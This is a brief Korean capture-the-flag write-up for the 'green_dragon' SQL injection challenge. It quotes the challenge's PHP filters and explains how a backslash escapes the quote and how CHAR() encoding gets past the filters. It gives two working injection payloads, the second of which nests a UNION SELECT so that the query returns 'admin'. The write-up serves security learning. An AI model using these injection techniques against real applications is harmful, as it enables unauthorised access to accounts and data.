green_dragon

주요 필터링 문자열은 아래와 같다.

if(preg_match('/prob|_|\.|\'|\"/i', $result['id'])) exit("No Hack ~_~");  
if(preg_match('/prob|_|\.|\'|\"/i', $result['pw'])) exit("No Hack ~_~");


id 파라미터에 이스케이프 문자인 백슬래시(\)를 사용하면 \' and pw=' 에 의해
홑따옴표 외부로 빠져나와 쿼리문 삽입을 바로 할 수 있다.
빠져나오긴 했지만 홑따옴표 필터링은 여전하기 때문에 이 부분은 CHAR 함수를 사용하여 우회했다.

(공격 페이로드) \' and pw=' UNION SELECT CHAR(97,100,109,105,110),CHAR(97,100,109,105,110)%23


$_GET[id], $_GET[pw], $result[id], $result[pw] 에서 이중으로 문자열 필터링을 하고 있다.
따라서, 2개의 필터링 구간을 우회하기 위해 CHAR 함수로 ‘admin’ 을 출력하도록 약간의 트릭 사용이 필요하다.
요로코롬 공격 구문을 작성하면 $result[id] 값이 admin 이 되므로 문제를 클리어 할 수 있다.

(공격 페이로드) ?id=\&pw=%20UNION%20SELECT%20CHAR(92),CHAR(32,85,78,73,79,78,32,83,69,76,69,67,84,32,67,72,65,82,40,57,55,44,49,48,48,44,49,48,57,44,49,48,53,44,49,49,48,41,35)%23


🐛.. 🐛.. 🐛..